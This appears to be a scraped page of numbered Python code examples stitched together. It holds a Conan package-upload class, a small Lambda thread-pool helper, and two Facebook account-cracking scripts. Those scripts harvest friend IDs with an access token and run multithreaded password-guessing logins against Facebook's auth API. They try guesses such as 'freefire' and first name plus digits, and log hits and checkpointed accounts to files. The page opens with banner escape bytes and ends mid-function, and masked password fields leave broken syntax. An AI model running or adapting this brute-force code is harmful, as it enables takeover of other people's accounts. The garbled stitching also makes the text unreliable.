xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80'
    raw_input('\n\x1b[1;97m[\x1b[1;97mBack\x1b[1;97m]')
    login()
Exemple #47
0
class CmdUpload(object):
    """ This class is responsible for uploading packages to remotes. The flow is:
    - Collect all the packages to be uploaded with the UploadCollecter
    - Execute the upload. For every ref:
        - Upload the recipe of the ref: "_upload_recipe"
            - If not FORCE, check the date "_check_recipe_date", i.e. if there are
              changes, do not allow uploading if the remote date is newer than the
              local cache one
            - Retrieve the sources (exports_sources), if they are not cached, and
              uploading to a different remote. "complete_recipe_sources"
            - Gather files and create 2 .tgz (exports, exports_sources) with
              "_compress_recipe_files"
            - Decide which files have to be uploaded and deleted from the server
              based on the different with the remote snapshot "_recipe_files_to_upload"
              This can raise if upload policy is not overwrite
            - Execute the real transfer "remote_manager.upload_recipe()"
        - For every package_id of every ref: "_upload_package"
            - Gather files and create package.tgz. "_compress_package_files"
            - (Optional) Do the integrity check of the package
            - Decide which files to upload and delete from server:
              "_package_files_to_upload". Can raise if policy is NOT overwrite
            - Do the actual upload

    All the REVISIONS are local defined, not retrieved from servers

    This requires calling to the remote API methods:
    - get_recipe_sources() to get the export_sources if they are missing
    - get_recipe_snapshot() to do the diff and know what files to upload
    - get_package_snapshot() to do the diff and know what files to upload
    - get_recipe_manifest() to check the date and raise if policy requires
    - get_package_manifest() to raise if policy!=force and manifests change
    """
    def __init__(self, cache, user_io, remote_manager, loader, hook_manager):
        self._cache = cache
        self._user_io = user_io
        self._output = progress_bar.ProgressOutput(self._user_io.out)
        self._remote_manager = remote_manager
        self._loader = loader
        self._hook_manager = hook_manager
        self._upload_thread_pool = None
        self._exceptions_list = []

    def upload(self,
               reference_or_pattern,
               remotes,
               upload_recorder,
               package_id=None,
               all_packages=None,
               confirm=False,
               retry=None,
               retry_wait=None,
               integrity_check=False,
               policy=None,
               query=None,
               parallel_upload=False):
        t1 = time.time()

        collecter = _UploadCollecter(self._cache, self._user_io, self._output,
                                     self._loader)
        refs_by_remote = collecter.collect(package_id, reference_or_pattern,
                                           confirm, remotes, all_packages,
                                           query)

        if parallel_upload:
            self._user_io.disable_input()
        self._upload_thread_pool = ThreadPool(
            cpu_count() if parallel_upload else 1)

        for remote, refs in refs_by_remote.items():

            self._output.info("Uploading to remote '{}':".format(remote.name))

            def upload_ref(ref_conanfile_prefs):
                _ref, _conanfile, _prefs = ref_conanfile_prefs
                try:
                    self._upload_ref(_conanfile, _ref, _prefs, retry,
                                     retry_wait, integrity_check, policy,
                                     remote, upload_recorder, remotes)
                except BaseException as base_exception:
                    base_trace = traceback.format_exc()
                    self._exceptions_list.append(
                        (base_exception, _ref, base_trace, remote))

            self._upload_thread_pool.map(upload_ref,
                                         [(ref, conanfile, prefs)
                                          for (ref, conanfile, prefs) in refs])

        self._upload_thread_pool.close()
        self._upload_thread_pool.join()

        if len(self._exceptions_list) > 0:
            for exc, ref, trace, remote in self._exceptions_list:
                t = "recipe" if isinstance(ref,
                                           ConanFileReference) else "package"
                msg = "%s: Upload %s to '%s' failed: %s\n" % (
                    str(ref), t, remote.name, str(exc))
                if get_env("CONAN_VERBOSE_TRACEBACK", False):
                    msg += trace
                self._output.error(msg)
            raise ConanException("Errors uploading some packages")

        logger.debug("UPLOAD: Time manager upload: %f" % (time.time() - t1))

    def _upload_ref(self, conanfile, ref, prefs, retry, retry_wait,
                    integrity_check, policy, recipe_remote, upload_recorder,
                    remotes):
        """ Uploads the recipes and binaries identified by ref
        """
        assert (ref.revision
                is not None), "Cannot upload a recipe without RREV"
        conanfile_path = self._cache.package_layout(ref).conanfile()
        # FIXME: I think it makes no sense to specify a remote to "pre_upload"
        # FIXME: because the recipe can have one and the package a different one
        self._hook_manager.execute("pre_upload",
                                   conanfile_path=conanfile_path,
                                   reference=ref,
                                   remote=recipe_remote)
        msg = "\rUploading %s to remote '%s'" % (str(ref), recipe_remote.name)
        self._output.info(left_justify_message(msg))
        self._upload_recipe(ref, conanfile, retry, retry_wait, policy,
                            recipe_remote, remotes)
        upload_recorder.add_recipe(ref, recipe_remote.name, recipe_remote.url)

        # Now the binaries
        if prefs:
            total = len(prefs)
            p_remote = recipe_remote

            def upload_package_index(index_pref):
                index, pref = index_pref
                try:
                    up_msg = "\rUploading package %d/%d: %s to '%s'" % (
                        index + 1, total, str(pref.id), p_remote.name)
                    self._output.info(left_justify_message(up_msg))
                    self._upload_package(pref, retry, retry_wait,
                                         integrity_check, policy, p_remote)
                    upload_recorder.add_package(pref, p_remote.name,
                                                p_remote.url)
                except BaseException as pkg_exc:
                    trace = traceback.format_exc()
                    return pkg_exc, pref, trace, p_remote

            def upload_package_callback(ret):
                package_exceptions = [r for r in ret if r is not None]
                self._exceptions_list.extend(package_exceptions)
                if not package_exceptions:
                    # FIXME: I think it makes no sense to specify a remote to "post_upload"
                    # FIXME: because the recipe can have one and the package a different one
                    self._hook_manager.execute("post_upload",
                                               conanfile_path=conanfile_path,
                                               reference=ref,
                                               remote=recipe_remote)

            # This doesn't wait for the packages to end, so the function returns
            # and the "pool entry" for the recipe is released
            self._upload_thread_pool.map_async(
                upload_package_index,
                [(index, pref) for index, pref in enumerate(prefs)],
                callback=upload_package_callback)
        else:
            # FIXME: I think it makes no sense to specify a remote to "post_upload"
            # FIXME: because the recipe can have one and the package a different one
            self._hook_manager.execute("post_upload",
                                       conanfile_path=conanfile_path,
                                       reference=ref,
                                       remote=recipe_remote)

    def _upload_recipe(self, ref, conanfile, retry, retry_wait, policy, remote,
                       remotes):

        current_remote_name = self._cache.package_layout(
            ref).load_metadata().recipe.remote

        if remote.name != current_remote_name:
            complete_recipe_sources(self._remote_manager, self._cache,
                                    conanfile, ref, remotes)

        conanfile_path = self._cache.package_layout(ref).conanfile()
        self._hook_manager.execute("pre_upload_recipe",
                                   conanfile_path=conanfile_path,
                                   reference=ref,
                                   remote=remote)

        t1 = time.time()
        cache_files = self._compress_recipe_files(ref)

        with self._cache.package_layout(ref).update_metadata() as metadata:
            metadata.recipe.checksums = calc_files_checksum(cache_files)

        local_manifest = FileTreeManifest.loads(
            load(cache_files["conanmanifest.txt"]))

        remote_manifest = None
        if policy != UPLOAD_POLICY_FORCE:
            # Check SCM data for auto fields
            if hasattr(conanfile,
                       "scm") and (conanfile.scm.get("url") == "auto"
                                   or conanfile.scm.get("revision") == "auto"
                                   or conanfile.scm.get("type") is None
                                   or conanfile.scm.get("url") is None
                                   or conanfile.scm.get("revision") is None):
                raise ConanException(
                    "The recipe contains invalid data in the 'scm' attribute"
                    " (some 'auto' values or missing fields 'type', 'url' or"
                    " 'revision'). Use '--force' to ignore this error or export"
                    " again the recipe ('conan export' or 'conan create') to"
                    " fix these issues.")

            remote_manifest = self._check_recipe_date(ref, remote,
                                                      local_manifest)
        if policy == UPLOAD_POLICY_SKIP:
            return ref

        files_to_upload, deleted = self._recipe_files_to_upload(
            ref, policy, cache_files, remote, remote_manifest, local_manifest)

        if files_to_upload or deleted:
            self._remote_manager.upload_recipe(ref, files_to_upload, deleted,
                                               remote, retry, retry_wait)
            self._upload_recipe_end_msg(ref, remote)
        else:
            self._output.info("Recipe is up to date, upload skipped")
        duration = time.time() - t1
        log_recipe_upload(ref, duration, cache_files, remote.name)
        self._hook_manager.execute("post_upload_recipe",
                                   conanfile_path=conanfile_path,
                                   reference=ref,
                                   remote=remote)

        # The recipe wasn't in the registry or it has changed the revision field only
        if not current_remote_name:
            with self._cache.package_layout(ref).update_metadata() as metadata:
                metadata.recipe.remote = remote.name

        return ref

    def _upload_package(self,
                        pref,
                        retry=None,
                        retry_wait=None,
                        integrity_check=False,
                        policy=None,
                        p_remote=None):

        assert (pref.revision
                is not None), "Cannot upload a package without PREV"
        assert (pref.ref.revision
                is not None), "Cannot upload a package without RREV"

        pkg_layout = self._cache.package_layout(pref.ref)
        conanfile_path = pkg_layout.conanfile()
        self._hook_manager.execute("pre_upload_package",
                                   conanfile_path=conanfile_path,
                                   reference=pref.ref,
                                   package_id=pref.id,
                                   remote=p_remote)

        t1 = time.time()
        the_files = self._compress_package_files(pkg_layout, pref,
                                                 integrity_check)

        if policy == UPLOAD_POLICY_SKIP:
            return None
        files_to_upload, deleted = self._package_files_to_upload(
            pref, policy, the_files, p_remote)

        if files_to_upload or deleted:
            self._remote_manager.upload_package(pref, files_to_upload, deleted,
                                                p_remote, retry, retry_wait)
            logger.debug("UPLOAD: Time upload package: %f" %
                         (time.time() - t1))
        else:
            self._output.info("Package is up to date, upload skipped")

        duration = time.time() - t1
        log_package_upload(pref, duration, the_files, p_remote)
        self._hook_manager.execute("post_upload_package",
                                   conanfile_path=conanfile_path,
                                   reference=pref.ref,
                                   package_id=pref.id,
                                   remote=p_remote)

        logger.debug("UPLOAD: Time uploader upload_package: %f" %
                     (time.time() - t1))

        # Update the package metadata
        checksums = calc_files_checksum(the_files)
        with pkg_layout.update_metadata() as metadata:
            cur_package_remote = metadata.packages[pref.id].remote
            if not cur_package_remote:
                metadata.packages[pref.id].remote = p_remote.name
            metadata.packages[pref.id].checksums = checksums

        return pref

    def _compress_recipe_files(self, ref):
        export_folder = self._cache.package_layout(ref).export()

        for f in (EXPORT_TGZ_NAME, EXPORT_SOURCES_TGZ_NAME):
            tgz_path = os.path.join(export_folder, f)
            if is_dirty(tgz_path):
                self._output.warn("%s: Removing %s, marked as dirty" %
                                  (str(ref), f))
                os.remove(tgz_path)
                clean_dirty(tgz_path)

        files, symlinks = gather_files(export_folder)
        if CONANFILE not in files or CONAN_MANIFEST not in files:
            raise ConanException("Cannot upload corrupted recipe '%s'" %
                                 str(ref))
        export_src_folder = self._cache.package_layout(ref).export_sources()
        src_files, src_symlinks = gather_files(export_src_folder)
        the_files = _compress_recipe_files(files, symlinks, src_files,
                                           src_symlinks, export_folder,
                                           self._output)

        return the_files

    def _compress_package_files(self, layout, pref, integrity_check):

        t1 = time.time()
        # existing package, will use short paths if defined
        package_folder = self._cache.package_layout(
            pref.ref, short_paths=None).package(pref)

        if layout.package_is_dirty(pref):
            raise ConanException("Package %s is corrupted, aborting upload.\n"
                                 "Remove it with 'conan remove %s -p=%s'" %
                                 (pref, pref.ref, pref.id))
        tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME)
        if is_dirty(tgz_path):
            self._output.warn("%s: Removing %s, marked as dirty" %
                              (str(pref), PACKAGE_TGZ_NAME))
            os.remove(tgz_path)
            clean_dirty(tgz_path)
        # Get all the files in that directory
        files, symlinks = gather_files(package_folder)

        if CONANINFO not in files or CONAN_MANIFEST not in files:
            logger.error("Missing info or manifest in uploading files: %s" %
                         (str(files)))
            raise ConanException("Cannot upload corrupted package '%s'" %
                                 str(pref))

        logger.debug("UPLOAD: Time remote_manager build_files_set : %f" %
                     (time.time() - t1))
        if integrity_check:
            self._package_integrity_check(pref, files, package_folder)
            logger.debug(
                "UPLOAD: Time remote_manager check package integrity : %f" %
                (time.time() - t1))

        the_files = _compress_package_files(files, symlinks, package_folder,
                                            self._output)
        return the_files

    def _recipe_files_to_upload(self, ref, policy, files, remote,
                                remote_manifest, local_manifest):
        self._remote_manager.check_credentials(remote)
        remote_snapshot = self._remote_manager.get_recipe_snapshot(ref, remote)
        if not remote_snapshot:
            return files, set()

        deleted = set(remote_snapshot).difference(files)
        if policy != UPLOAD_POLICY_FORCE:
            if remote_manifest is None:
                # This is the weird scenario, we have a snapshot but don't have a manifest.
                # Can be due to concurrency issues, so we can try retrieve it now
                try:
                    remote_manifest, _ = self._remote_manager.get_recipe_manifest(
                        ref, remote)
                except NotFoundException:
                    # This is weird, the manifest still not there, better upload everything
                    self._output.warn(
                        "The remote recipe doesn't have the 'conanmanifest.txt' "
                        "file and will be uploaded: '{}'".format(ref))
                    return files, deleted

            if remote_manifest == local_manifest:
                return None, None

            if policy in (UPLOAD_POLICY_NO_OVERWRITE,
                          UPLOAD_POLICY_NO_OVERWRITE_RECIPE):
                raise ConanException(
                    "Local recipe is different from the remote recipe. "
                    "Forbidden overwrite.")

        return files, deleted

    def _package_files_to_upload(self, pref, policy, the_files, remote):
        self._remote_manager.check_credentials(remote)
        remote_snapshot = self._remote_manager.get_package_snapshot(
            pref, remote)

        if remote_snapshot and policy != UPLOAD_POLICY_FORCE:
            if not is_package_snapshot_complete(remote_snapshot):
                return the_files, set()
            remote_manifest, _ = self._remote_manager.get_package_manifest(
                pref, remote)
            local_manifest = FileTreeManifest.loads(
                load(the_files["conanmanifest.txt"]))
            if remote_manifest == local_manifest:
                return None, None
            if policy == UPLOAD_POLICY_NO_OVERWRITE:
                raise ConanException(
                    "Local package is different from the remote package. Forbidden"
                    " overwrite.")
        deleted = set(remote_snapshot).difference(the_files)
        return the_files, deleted

    def _upload_recipe_end_msg(self, ref, remote):
        msg = "\rUploaded conan recipe '%s' to '%s'" % (str(ref), remote.name)
        url = remote.url.replace("https://api.bintray.com/conan",
                                 "https://bintray.com")
        msg += ": %s" % url
        self._output.info(left_justify_message(msg))

    def _package_integrity_check(self, pref, files, package_folder):
        # If package has been modified remove tgz to regenerate it
        self._output.rewrite_line("Checking package integrity...")

        # short_paths = None is enough if there exist short_paths
        layout = self._cache.package_layout(pref.ref, short_paths=None)
        read_manifest, expected_manifest = layout.package_manifests(pref)

        if read_manifest != expected_manifest:
            self._output.writeln("")
            diff = read_manifest.difference(expected_manifest)
            for fname, (h1, h2) in diff.items():
                self._output.warn(
                    "Mismatched checksum '%s' (manifest: %s, file: %s)" %
                    (fname, h1, h2))

            if PACKAGE_TGZ_NAME in files:
                tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME)
                try:
                    os.unlink(tgz_path)
                except OSError:
                    pass
            error_msg = os.linesep.join(
                "Mismatched checksum '%s' (manifest: %s, file: %s)" %
                (fname, h1, h2) for fname, (h1, h2) in diff.items())
            logger.error("Manifests doesn't match!\n%s" % error_msg)
            raise ConanException("Cannot upload corrupted package '%s'" %
                                 str(pref))
        else:
            self._output.rewrite_line("Package integrity OK!")
        self._output.writeln("")

    def _check_recipe_date(self, ref, remote, local_manifest):
        try:
            remote_recipe_manifest, ref = self._remote_manager.get_recipe_manifest(
                ref, remote)
        except NotFoundException:
            return  # First time uploading this package

        if (remote_recipe_manifest != local_manifest
                and remote_recipe_manifest.time > local_manifest.time):
            self._print_manifest_information(remote_recipe_manifest,
                                             local_manifest, ref, remote)
            raise ConanException(
                "Remote recipe is newer than local recipe: "
                "\n Remote date: %s\n Local date: %s" %
                (remote_recipe_manifest.time, local_manifest.time))

        return remote_recipe_manifest

    def _print_manifest_information(self, remote_recipe_manifest,
                                    local_manifest, ref, remote):
        try:
            self._output.info("\n%s" % ("-" * 40))
            self._output.info("Remote manifest:")
            self._output.info(remote_recipe_manifest)
            self._output.info("Local manifest:")
            self._output.info(local_manifest)
            difference = remote_recipe_manifest.difference(local_manifest)
            if "conanfile.py" in difference:
                contents = load(self._cache.package_layout(ref).conanfile())
                endlines = "\\r\\n" if "\r\n" in contents else "\\n"
                self._output.info("Local 'conanfile.py' using '%s' line-ends" %
                                  endlines)
                remote_contents = self._remote_manager.get_recipe_path(
                    ref, path="conanfile.py", remote=remote)
                endlines = "\\r\\n" if "\r\n" in remote_contents else "\\n"
                self._output.info(
                    "Remote 'conanfile.py' using '%s' line-ends" % endlines)
            self._output.info("\n%s" % ("-" * 40))
        except Exception as e:
            self._output.info("Error printing information about the diff: %s" %
                              str(e))
Exemple #48
0
 def launch_concurrent_lambda_invocations(self, s3_event_list):
     pool = ThreadPool(processes=len(s3_event_list))
     pool.map(lambda s3_event: self.launch_async_event(s3_event),
              s3_event_list)
     pool.close()
Exemple #49
0
def crack_menu():
	crm = raw_input("Choose Option >>  ")
	if crm =="":
		print "[!] Filled Incorrectly"
		crack_menu()
	elif crm =="1":
		os.system('clear')
		print banner
		r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
		z = json.loads(r.text)
		for s in z['data']:
			id.append(s['id'])
	elif crm =="2":
		os.system('clear')
		print banner
		idt = raw_input("[+] Input ID: ")
		
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			hamza('\033[1;97m[✓] Account Name \033[1;97m:\033[1;97m '+op['name'])
		except KeyError:
			print"[!] ID Not Found!"
			raw_input("\nPress Enter To Back  ")
			crack()
		r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
		z = json.loads(r.text)
		for i in z['data']:
			id.append(i['id'])
	elif crm =="3":
	    os.system('clear')
	    print banner
	    try:
	        idlist= raw_input('[+] File Name: ')
	        for line in open(idlist ,'r').readlines():
	            id.append(line.strip())
	    except IOError:
	         print"[!] File Not Found."
	         raw_input('Press Enter To Back. ')
	         crack()
	   
	        
	        
	elif crm =="0":
		menu()
	else:
		print "Filled Incorrectly"
		crack_menu()
	
        hamza('[✓] Total Friends: '+str(len(id)))
        time.sleep(0.5)
	hamza('[✓] The Process Has Been Started.')
	time.sleep(0.5)
        hamza('[!] To Stop Process Press CTRL Then Z')
        time.sleep(0.5)
        print (47*"-")
     
	
	
			
	def main(arg):
		global cpb,oks
		user = arg
		try:
		    os.mkdir('save')
		except OSError:
		    pass
		try:
			a = requests.get("https://graph.facebook.com/"+user+"/?access_token="+toket)
			b = json.loads(a.text)
			pass1='pubglover'
			data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
			q = json.load(data)
			if "access_token" in q:
				print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass1
				oks.append(user+pass1)
			else:
				if "www.facebook.com" in q["error_msg"]:
					print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass1
					crt = open("save/checkpoint.txt", "a")
					crt.write(user+"|"+pass1+"\n")
					crt.close()
					checkpoint.append(user+pass1)
				else:
					pass2 = 'freefire'
					data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
					q = json.load(data)
					if "access_token" in q:
						print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass2
						oks.append(user+pass2)
					else:
						if "www.facebook.com" in q["error_msg"]:
							print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass2
							crt = open("save/checkpoint.txt", "a")
							crt.write(user+"|"+pass2+"\n")
							crt.close()
							checkpoint.append(user+pass2)
						else:
							pass3 = 'freefirepakistan'
							data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
							q = json.load(data)
							if "access_token" in q:
								print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass3
								oks.append(user+pass3)
							else:
								if "www.facebook.com" in q["error_msg"]:
									print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass3
									crt = open("save/checkpoint.txt", "a")
									crt.write(user+"|"+pass3+"\n")
									crt.close()
									checkpoint.append(user+pass3)
								else:
									pass4 = b['first_name'] + '111'
									data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
									q = json.load(data)
									if "access_token" in q:
										print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass4
										oks.append(user+pass4)
									else:
										if "www.facebook.com" in q["error_msg"]:
											print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass4
											crt = open("save/checkpoint.txt", "a")
											crt.write(user+"|"+pass4+"\n")
											crt.close()
											checkpoint.append(user+pass4)
										else:
											pass5 = b['first_name'] + '12345'
											data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
											q = json.load(data)
											if "access_token" in q:
												print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass5
												oks.append(user+pass5)
											else:
												if "www.facebook.com" in q["error_msg"]:
													print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass5
													crt = open("save/checkpoint.txt", "a")
													crt.write(user+"|"+pass5+"\n")
													crt.close()
													checkpoint.append(user+pass5)
												else:
													pass6 = b['first_name'] + '112233'
													data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
													q = json.load(data)
													if "access_token" in q:
														print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass6
														oks.append(user+pass6)
													else:
														if "www.facebook.com" in q["error_msg"]:
															print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass6
															crt = open("save/checkpoint.txt", "a")
															crt.write(user+"|"+pass6+"\n")
															crt.close()
															checkpoint.append(user+pass6)
														else:
															pass7 = b['first_name'] + '@@@'
															data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
															q = json.load(data)
															if "access_token" in q:
																print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass7
																oks.append(user+pass7)
															else:
																if "www.facebook.com" in q["error_msg"]:
																	print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass7
																	crt = open("save/checkpoint.txt", "a")
																	crt.write(user+"|"+pass7+"\n")
																	crt.close()
																	checkpoint.append(user+pass7)           					
								                                       
				                                                                           
	
																	
															
		except:
			pass
		
	p = ThreadPool(30)
	p.map(main, id)
	print "\033[1;97m----------------------------------------------"
	hamza('[✓] Process Has Been Completed.')
	hamza('\033[1;97m[✓] Checkpoint IDS Has Been Saved.')
	xx = str(len(oks))
	xxx = str(len(checkpoint))
	print ("[✓] Total \033[1;32mOK/\033[1;97mCP : \033[1;32m"+str(len(oks))+"/\033[1;97m"+str(len(checkpoint)))
	print (47*"-")
	
	raw_input("\nPress Enter To Back ")
	menu()	
Exemple #50
0
def pilih_super():
    peak = raw_input("\n\033[1;31;40m>>> \033[1;97m")
    if peak == "":
        print "\033[1;97mFill in correctly"
        pilih_super()
    elif peak == "1":
        os.system('clear')
        print logo

        jalan('\033[1;95m[✺] Getting IDs \033[1;95m...')
        r = requests.get(
            "https://graph.facebook.com/me/friends?access_token=" + toket)
        z = json.loads(r.text)
        for s in z['data']:
            id.append(s['id'])

    elif peak == "2":
        os.system('clear')
        print logo
        idt = raw_input("\033[1;97m[*] Enter ID : ")
        try:
            jok = requests.get("https://graph.facebook.com/" + idt +
                               "?access_token=" + toket)
            op = json.loads(jok.text)
            print "\033[1;31;40m[✺] Name : " + op["name"]
        except KeyError:
            print "\033[1;97m[✺] ID Not Found!"
            raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]")
            super()
        print "\033[1;35;40m[✺] Getting IDs..."
        r = requests.get("https://graph.facebook.com/" + idt +
                         "/friends?access_token=" + toket)
        z = json.loads(r.text)
        for i in z['data']:
            id.append(i['id'])
    elif peak == "3":
        os.system('clear')
        print logo
        brute()
    elif peak == "4":
        os.system('clear')
        print logo
        try:
            idlist = raw_input(
                '\033[1;97m[+] \033[1;97mEnter the file name \033[1;97m: \033[1;97m'
            )
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())
        except IOError:
            print '\x1b[1;35;40m[!] \x1b[1;35;40mFile not found'
            raw_input('\n\x1b[1;35;40m[ \x1b[1;35;40mExit \x1b[1;35;40m]')
            super()
    elif peak == "0":
        menu()
    else:
        print "\033[1;97mFill in correctly"
        pilih_super()

    print "\033[1;36;40m[✺] Total IDs : \033[1;95m" + str(len(id))
    jalan('\033[1;34;40m[✺] Please Wait...')
    titik = ['.   ', '..  ', '... ']
    for o in titik:
        print("\r\033[1;32;40m[✺] Cloning\033[1;95m" + o),
        sys.stdout.flush()
        time.sleep(1)
    print "\n\033[1;95m        ❈     \033[1;97mTo Stop Process Press CTRL+Z \033[1;95m    ❈"

    def main(arg):
        global cekpoint, oks
        user = arg
        try:
            os.mkdir('out')
        except OSError:
            pass
        try:
            a = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + toket)
            b = json.loads(a.text)
            pass1 = b['first_name'] + '1234'
            data = urllib.urlopen(
                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
            )
            q = json.load(data)
            if 'access_token' in q:
                x = requests.get("https://graph.facebook.com/" + user +
                                 "?access_token=" + q['access_token'])
                z = json.loads(x.text)
